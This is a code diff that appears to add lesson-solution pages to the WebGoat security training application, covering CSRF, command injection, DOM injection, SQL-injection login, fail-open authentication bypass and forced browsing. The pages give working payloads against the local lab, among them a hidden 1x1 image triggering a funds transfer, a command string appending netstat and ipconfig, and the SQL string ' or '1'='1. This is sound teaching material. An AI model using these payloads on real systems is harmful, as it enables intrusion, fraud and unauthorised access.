b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image007.png new file mode 100644 index 000000000..54ea1bcb2 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image009.png b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image009.png new file mode 100644 index 000000000..3668266c4 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image011.png b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image011.png new file mode 100644 index 000000000..9987542b3 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image011.png differ diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image013.jpg b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image013.jpg new file mode 100644 index 000000000..f5c8d4841 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image013.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image014.jpg b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image014.jpg new file mode 100644 index 000000000..68702bb41 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image014.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image015.jpg b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image015.jpg new file mode 100644 index 000000000..b6e84a5fe Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image015.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image016.jpg b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image016.jpg new file mode 100644 index 000000000..93a58e837 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image016.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image017.jpg b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image017.jpg new file mode 100644 index 000000000..6055cba63 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image017.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image018.jpg b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image018.jpg new file mode 100644 index 000000000..2e2bf3fc5 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image018.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/themedata.thmx b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/CSRF.html b/main/project/WebContent/lesson_solutions/CSRF.html new file mode 100644 index 000000000..f8f7b0a4e --- /dev/null +++ b/main/project/WebContent/lesson_solutions/CSRF.html @@ -0,0 +1,868 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Perform Cross Site Request Forgery.

+ +

 

+ +

Concept +/ Topic To Teach:

+ +

This +lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks.

+ +

 

+ +

How +the attacks works:

+ +

Cross-Site +Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a +page that contains img links like the one below:

+ +

<img +src="http://www.mybank.com/sendFunds.do?acctId=123456"/>

+ +

When +the victim's browser attempts to render this page, it will issue a request to +www.mybank.com to the transferFunds.do page with the specified parameters. The +browser will think the link is to get an image, even though it actually is a +funds transfer function. The request will include any cookies associated with +the site. Therefore, if the user has authenticated to the site, and has either +a permanent cookie or even a current session cookie, the site will have no way +to distinguish this from a legitimate user request. In this way, the attacker +can make the victim perform actions that they didn't intend to, such as logout, +purchase item, or any other function provided by the vulnerable website

+ +

 

+ +

General +Goal(s):

+ +

Your +goal is to send an email to a newsgroup that contains an image whose URL is +pointing to a malicious request. Try to include a 1x1 pixel image that includes +a URL. The URL should point to the CSRF lesson with an extra parameter +"transferFunds=4000". You can copy the shortcut from the left hand +menu by right clicking on the left hand menu and choosing copy shortcut. +Whoever receives this email and happens to be authenticated at that time will +have his funds transferred. When you think the attack is successful, refresh +the page and you will find the green check on the left hand side menu.

+ +

 

+ +

+ +

Figure 1 How to perform CSRF

+ +

 

+ +

Solution:

+ +

 

+ +

To +complete this lesson you need to embed HTML code in the message box. This HTML +code should contain a image tag linking to an URL that is not a real image  will but start a transaction on the web +server instead.

+ +

 

+ +

The +format of an image in html is <img src="[URL]" width="1" +height="1" />

+ +

The transaction can be triggered by an URL to the +current lesson and an extra parameter “transferFunds’ and the amount. The +width=1 and height=1 will not show the image.

+ +

 

+ +

This payload will work:

+ +

<img +src=”http://localhost/WebGoat/attack?Screen=81&menu=210&transferFunds=5000” +width="1" height="1" />

+ +

 

+ +

So create a new message with title “Test” and a +message with the payload.

+ +

+ +

Figure 2 Insert payload

+ +

 

+ +

The page will refresh and you will see a new message +in the message list.

+ +

 

+ +

+ +

Figure 3 New message test

+ +

 

+ +

Click +on the message test. This will download the message and display the contents as +HTML, executing the payload. Examine the HTTP Request in WebScarab that is +generated when the browers tries to render the image tag.

+ +

 

+ +

+ +

Figure 4 CSRF attack

+ +

 

+ +

Now +you need to refresh the page to get the green star next to the lesson.

+ +

 

+ +

+ +

Figure 5 Lesson completed

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/CSRF_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/CSRF_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/CSRF_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/CSRF_files/filelist.xml b/main/project/WebContent/lesson_solutions/CSRF_files/filelist.xml new file mode 100644 index 000000000..7f94019c7 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/CSRF_files/filelist.xml @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/CSRF_files/image001.png b/main/project/WebContent/lesson_solutions/CSRF_files/image001.png new file mode 100644 index 000000000..9d82bd95a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CSRF_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/CSRF_files/image003.png b/main/project/WebContent/lesson_solutions/CSRF_files/image003.png new file mode 100644 index 000000000..2189df262 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CSRF_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/CSRF_files/image005.png b/main/project/WebContent/lesson_solutions/CSRF_files/image005.png new file mode 100644 index 000000000..95949f62b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CSRF_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/CSRF_files/image007.png b/main/project/WebContent/lesson_solutions/CSRF_files/image007.png new file mode 100644 index 000000000..7bf06a985 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CSRF_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/CSRF_files/image009.png b/main/project/WebContent/lesson_solutions/CSRF_files/image009.png new file mode 100644 index 000000000..d0e2f233c Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CSRF_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/CSRF_files/image011.jpg b/main/project/WebContent/lesson_solutions/CSRF_files/image011.jpg new file mode 100644 index 000000000..fbb254bd8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CSRF_files/image011.jpg differ diff --git a/main/project/WebContent/lesson_solutions/CSRF_files/image012.jpg b/main/project/WebContent/lesson_solutions/CSRF_files/image012.jpg new file mode 100644 index 000000000..32dbb3c02 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CSRF_files/image012.jpg differ diff --git a/main/project/WebContent/lesson_solutions/CSRF_files/image013.jpg b/main/project/WebContent/lesson_solutions/CSRF_files/image013.jpg new file mode 100644 index 000000000..8d76909d8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CSRF_files/image013.jpg differ diff --git a/main/project/WebContent/lesson_solutions/CSRF_files/image014.jpg b/main/project/WebContent/lesson_solutions/CSRF_files/image014.jpg new file mode 100644 index 000000000..be9c8e294 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CSRF_files/image014.jpg differ diff --git a/main/project/WebContent/lesson_solutions/CSRF_files/image015.jpg b/main/project/WebContent/lesson_solutions/CSRF_files/image015.jpg new file mode 100644 index 000000000..ef71f6923 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CSRF_files/image015.jpg differ diff --git a/main/project/WebContent/lesson_solutions/CSRF_files/themedata.thmx b/main/project/WebContent/lesson_solutions/CSRF_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CSRF_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/CommandInjection.html b/main/project/WebContent/lesson_solutions/CommandInjection.html new file mode 100644 index 000000000..81b42cee0 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/CommandInjection.html @@ -0,0 +1,738 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson Plan Title: How to Perform Command Injection

+ +

 

+ +

Concept / Topic To Teach:

+ +

Command +injection attacks represent a serious threat to any parameter-driven site. The methods +behind an attack are easy to learn and the damage caused can range from +considerable to complete system compromise. Despite these risks an incredible +number of systems on the internet are susceptible to this form of attack.

+ +

 

+ +

Not only is +it a threat easily instigated, it is also a threat that, with a little +common-sense and forethought, can be almost totally prevented. This lesson will +show the student several examples of parameter injection.

+ +

 

+ +

It is always +good practice to sanitize all input data, especially data that will used in OS +command, scripts, and database queries.

+ +

 

+ +

General Goal(s):

+ +

The user +should be able to execute any command on the hosting OS.

+ +

 

+ +

+ +

Figure 1 Lesson 16

+ +

 

+ +

Solution:

+ +

 

+ +

Select a +lesson from the drop-down box and click on “View”.

+ +

 

+ +

+ +

 

+ +

Intercept the +request with WebScarab when you click on “View”. Append “ & netstat –an +& ipconfig to the HelpFile parameter. Do not forget the double quote!

+ +

 

+ +

+ +

Figure 2 Injecting command netstat & ipconfig

+ +

 

+ +

The result +contains the output of the command netstat and ipconfig.

+ +

 

+ +

+ +

Figure 3 Command Injection results

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/CommandInjection_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/CommandInjection_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/CommandInjection_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/CommandInjection_files/filelist.xml b/main/project/WebContent/lesson_solutions/CommandInjection_files/filelist.xml new file mode 100644 index 000000000..c778dd663 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/CommandInjection_files/filelist.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/CommandInjection_files/image001.png b/main/project/WebContent/lesson_solutions/CommandInjection_files/image001.png new file mode 100644 index 000000000..95185ac08 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CommandInjection_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/CommandInjection_files/image003.png b/main/project/WebContent/lesson_solutions/CommandInjection_files/image003.png new file mode 100644 index 000000000..bb6e1e518 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CommandInjection_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/CommandInjection_files/image005.png b/main/project/WebContent/lesson_solutions/CommandInjection_files/image005.png new file mode 100644 index 000000000..9c7ecd242 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CommandInjection_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/CommandInjection_files/image007.jpg b/main/project/WebContent/lesson_solutions/CommandInjection_files/image007.jpg new file mode 100644 index 000000000..d82452e33 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CommandInjection_files/image007.jpg differ diff --git a/main/project/WebContent/lesson_solutions/CommandInjection_files/image008.jpg b/main/project/WebContent/lesson_solutions/CommandInjection_files/image008.jpg new file mode 100644 index 000000000..67162e723 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CommandInjection_files/image008.jpg differ diff --git a/main/project/WebContent/lesson_solutions/CommandInjection_files/image009.jpg b/main/project/WebContent/lesson_solutions/CommandInjection_files/image009.jpg new file mode 100644 index 000000000..916c6fdc1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CommandInjection_files/image009.jpg differ diff --git a/main/project/WebContent/lesson_solutions/CommandInjection_files/themedata.thmx b/main/project/WebContent/lesson_solutions/CommandInjection_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CommandInjection_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/DOMInjection.html b/main/project/WebContent/lesson_solutions/DOMInjection.html new file mode 100644 index 000000000..a85e47911 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/DOMInjection.html @@ -0,0 +1,865 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Perform DOM Injection Attack.

+ +

 

+ +

Concept / +Topic To Teach:

+ +

How to +perform DOM injection attacks.

+ +

 

+ +

How the +attacks works:

+ +

Some applications +specially the ones that uses AJAX manipulates and updates the DOM directly +using JavaScript, DHTML and eval() method.
+An attacker may take advantage of that by intercepting the reply and try to +inject some javascript commands to exploit his attacks.

+ +

 

+ +

General +Goal(s):

+ +

* +Your victim is a system that takes an activation key to allow you to use it.
+* Your goal should be to try to get to enable the activate button.
+* Take some time to see the HTML source in order to understand how the key +validation process works.

+ +

 

+ +

+ +

Figure 1 AJAX Security - DOM Injection

+ +

 

+ +

Solution:

+ +

 

+ +

AJAX requires +XML communication between the browser and the web application. When you view +the source of the HTML page, you will notice the usage of XMLHttpRequest:

+ +

 

+ +

<script>

+ +

function +validate() {

+ +

var keyField += document.getElementById('key');

+ +

var url = +'/WebGoat/attack?Screen=80&menu=1150&from=ajax&key=' + +encodeURIComponent(keyField.value);

+ +

if (typeof +XMLHttpRequest != 'undefined') {

+ +

req += new XMLHttpRequest();

+ +

} else if +(window.ActiveXObject) {

+ +

req += new ActiveXObject('Microsoft.XMLHTTP');

+ +

   }

+ +

   req.open('GET', url, true);

+ +

   req.onreadystatechange = callback;

+ +

   req.send(null);

+ +

}

+ +

function +callback() {

+ +

    if (req.readyState == 4) {

+ +

        if (req.status == 200) {

+ +

            var message = req.responseText;

+ +

                                     eval(message);

+ +

        }}}

+ +

</script>

+ +

 

+ +

The XML +response contains JavaScript that will activate the button so that you are able +to click on it. This requires you to inject JavaScript to manipulate the +Document Object Model of the HTML page in the browser. This requires +intercepting the HTTP response in WebScarab!

+ +

 

+ +

Enter a +license key (for example ‘a’) and intercept the HTTP Request and HTTP Response +in WebScarab.

+ +

 

+ +

+ +

Figure 2 HTTP Request

+ +

 

+ +

+ +

Figure 3 HTTP Response

+ +

 

+ +

Intercept the +reply and replace the body with document.forms[0].SUBMIT.disabled = false;

+ +

 

+ +

+ +

Figure 4 Updated HTTP Response

+ +

 

+ +

The button “Activate!” is now enabled!

+ +

 

+ +

+ +

Figure 5 Activate! Button is enabled

+ +

 

+ +

+ +

Figure 6 Lesson completed

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/DOMInjection_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/DOMInjection_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/filelist.xml b/main/project/WebContent/lesson_solutions/DOMInjection_files/filelist.xml new file mode 100644 index 000000000..44904329e --- /dev/null +++ b/main/project/WebContent/lesson_solutions/DOMInjection_files/filelist.xml @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/image001.png b/main/project/WebContent/lesson_solutions/DOMInjection_files/image001.png new file mode 100644 index 000000000..8d3b529b0 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOMInjection_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/image002.jpg b/main/project/WebContent/lesson_solutions/DOMInjection_files/image002.jpg new file mode 100644 index 000000000..3f3bccdf5 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOMInjection_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/image003.png b/main/project/WebContent/lesson_solutions/DOMInjection_files/image003.png new file mode 100644 index 000000000..9effd17b9 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOMInjection_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/image004.jpg b/main/project/WebContent/lesson_solutions/DOMInjection_files/image004.jpg new file mode 100644 index 000000000..016c16e12 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOMInjection_files/image004.jpg differ diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/image005.png b/main/project/WebContent/lesson_solutions/DOMInjection_files/image005.png new file mode 100644 index 000000000..844b00d92 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOMInjection_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/image006.jpg b/main/project/WebContent/lesson_solutions/DOMInjection_files/image006.jpg new file mode 100644 index 000000000..c3349b050 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOMInjection_files/image006.jpg differ diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/image007.png b/main/project/WebContent/lesson_solutions/DOMInjection_files/image007.png new file mode 100644 index 000000000..d0b0aec8e Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOMInjection_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/image008.jpg b/main/project/WebContent/lesson_solutions/DOMInjection_files/image008.jpg new file mode 100644 index 000000000..18a4764fe Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOMInjection_files/image008.jpg differ diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/image009.png b/main/project/WebContent/lesson_solutions/DOMInjection_files/image009.png new file mode 100644 index 000000000..d1021bceb Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOMInjection_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/image010.jpg b/main/project/WebContent/lesson_solutions/DOMInjection_files/image010.jpg new file mode 100644 index 000000000..e9bc078c3 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOMInjection_files/image010.jpg differ diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/image011.png b/main/project/WebContent/lesson_solutions/DOMInjection_files/image011.png new file mode 100644 index 000000000..efe585a32 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOMInjection_files/image011.png differ diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/image012.jpg b/main/project/WebContent/lesson_solutions/DOMInjection_files/image012.jpg new file mode 100644 index 000000000..dd8bf4ac4 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOMInjection_files/image012.jpg differ diff --git a/main/project/WebContent/lesson_solutions/DOMInjection_files/themedata.thmx b/main/project/WebContent/lesson_solutions/DOMInjection_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOMInjection_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/DOS_Login.html b/main/project/WebContent/lesson_solutions/DOS_Login.html new file mode 100644 index 000000000..3a5440d3c --- /dev/null +++ b/main/project/WebContent/lesson_solutions/DOS_Login.html @@ -0,0 +1,704 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: Denial of +Service from Multiple Logins

+ +

 

+ +

Concept / +Topic To Teach:

+ +

Denial of +service attacks are a major issue in web applications. If the end user cannot conduct +business or perform the service offered by the web application, then both time +and money is wasted.

+ +

 

+ +

General +Goal(s):

+ +

This site +allows a user to login multiple times. This site has a database connection pool +that allows 2 connections. You must obtain a list of valid users and create a +total of 3 logins.

+ +

Solution:

+ +

 

+ +

This site +allows a user to login multiple times. There is a database connection pool that +allows 2 connections. You must obtain a list of valid users and create a total +of 3 logins.

+ +

 

+ +

Let’s try a +SQL Injection attack. Enter in the password field ' or '1' = '1

+ +

 

+ +

+ +

Figure 1 Lesson 20

+ +

 

+ +

Login with +user name jsnow and password passwd1. Then login with user name jdoe and +password passwd1. And finally login with jplane and passwd3.

+ +

 

+ +

+ +

Figure 2 Lesson 20 Completed

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + + diff --git a/main/project/WebContent/lesson_solutions/DOS_Login_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/DOS_Login_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/DOS_Login_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/DOS_Login_files/filelist.xml b/main/project/WebContent/lesson_solutions/DOS_Login_files/filelist.xml new file mode 100644 index 000000000..065d671e4 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/DOS_Login_files/filelist.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/DOS_Login_files/image001.png b/main/project/WebContent/lesson_solutions/DOS_Login_files/image001.png new file mode 100644 index 000000000..dc2669fe2 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOS_Login_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/DOS_Login_files/image002.jpg b/main/project/WebContent/lesson_solutions/DOS_Login_files/image002.jpg new file mode 100644 index 000000000..6f5c75387 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOS_Login_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/DOS_Login_files/image003.png b/main/project/WebContent/lesson_solutions/DOS_Login_files/image003.png new file mode 100644 index 000000000..45396104d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOS_Login_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/DOS_Login_files/image004.jpg b/main/project/WebContent/lesson_solutions/DOS_Login_files/image004.jpg new file mode 100644 index 000000000..372cdca56 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOS_Login_files/image004.jpg differ diff --git a/main/project/WebContent/lesson_solutions/DOS_Login_files/themedata.thmx b/main/project/WebContent/lesson_solutions/DOS_Login_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/DOS_Login_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/FailOpenAuthentication.html b/main/project/WebContent/lesson_solutions/FailOpenAuthentication.html new file mode 100644 index 000000000..e390225f3 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/FailOpenAuthentication.html @@ -0,0 +1,741 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson Plan Title: How to Bypass a Fail Open +Authentication Scheme

+ +

 

+ +

Concept / Topic To Teach: Abusing error handling.

+ +

 

+ +

This lesson presents +the basics for understanding the "fail open" condition regarding +authentication. The security term, “fail open” describes a behavior of a +verification mechanism. This is when an error (i.e. unexpected exception) +occurs during a verification method causing that method to evaluate to true. +This is especially dangerous during login.

+ +

 

+ +

General Goal(s):

+ +

The user +should be able to bypass the authentication check.

+ +

 

+ +

+ +

Figure 1 Lesson 19

+ +

 

+ +

Solution:

+ +

 

+ +

Enter user +name webgoat and click “Login”. Intercept the request with WebScarab.

+ +

 

+ +

+ +

Figure 2 Intercepted request

+ +

 

+ +

Click on the +variable “Password” and click “Delete”. Click “Accept changes”.

+ +

 

+ +

+ +

Figure 3 Password variable is deleted

+ +

 

+ +

You are now +“authenticated” as WebGoat.

+ +

 

+ +

+ +

Figure 4 Lesson 19 Completed

+ +

 

+ +

The problem +is that the exception handler in the Java code is executing a catch block for successful +authentication. The exception occurs because there is a NullPointer exception +when reading out the password parameter.

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/filelist.xml b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/filelist.xml new file mode 100644 index 000000000..bdb35f85a --- /dev/null +++ b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/filelist.xml @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image001.png b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image001.png new file mode 100644 index 000000000..44e09369d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image003.png b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image003.png new file mode 100644 index 000000000..1cf2cc012 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image005.png b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image005.png new file mode 100644 index 000000000..9f5747a75 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image007.png b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image007.png new file mode 100644 index 000000000..0845266c4 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image009.jpg b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image009.jpg new file mode 100644 index 000000000..c871b0225 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image009.jpg differ diff --git a/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image010.jpg b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image010.jpg new file mode 100644 index 000000000..74cec6054 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image010.jpg differ diff --git a/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image011.jpg b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image011.jpg new file mode 100644 index 000000000..29defb100 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image011.jpg differ diff --git a/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image012.jpg b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image012.jpg new file mode 100644 index 000000000..09d5ac828 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/image012.jpg differ diff --git a/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/themedata.thmx b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/FailOpenAuthentication_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/ForcedBrowsing.html b/main/project/WebContent/lesson_solutions/ForcedBrowsing.html new file mode 100644 index 000000000..6a23e21dd --- /dev/null +++ b/main/project/WebContent/lesson_solutions/ForcedBrowsing.html @@ -0,0 +1,767 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Perform Forced Browsing Attacks.

+ +

 

+ +

Concept +/ Topic To Teach:

+ +

How +to Exploit Forced Browsing.

+ +

 

+ +

How +the attacks works:

+ +

Forced +browsing is a technique used by attackers to gain access to resources that are +not referenced, but are nevertheless accessible. One technique is to manipulate +the URL in the browser by deleting sections from the end until an unprotected +directory is found

+ +

 

+ +

General +Goal(s):

+ +

Your +goal should be to try to guess the URL for the "config" interface.
+The "config" URL is only available to the maintenance personnel.
+The application doesn't check for horizontal privileges.

+ +

 

+ +

+ +

Figure 1 Insecure configuration +management – Forced Browsing

+ +

 

+ +

Solution:

+ +

If you want to access a restricted page, you need to +be able to guess the URI to access the page, for example /admin.

+ +

In this environment, WebGoat consists of different +servlets that live in the WebGoat application. The main servlet is /attack, +what could be the servlet for config?

+ +

 

+ +

Try to access /WebGoat/config, +/WebGoat/configuration, /WebGoat/conf, ….

+ +

 

+ +

+ +

Figure 2 No /WebGoat/config

+ +

 

+ +

+ +

Figure 3 No /WebGoat/configuration

+ +

 

+ +

+ +

Figure 4 Bingo for /WebGoat/conf

+ +

 

+ +

This +could be automated with a tool like Wikto 2.0

+ +

 

+ +
+ + + + + +
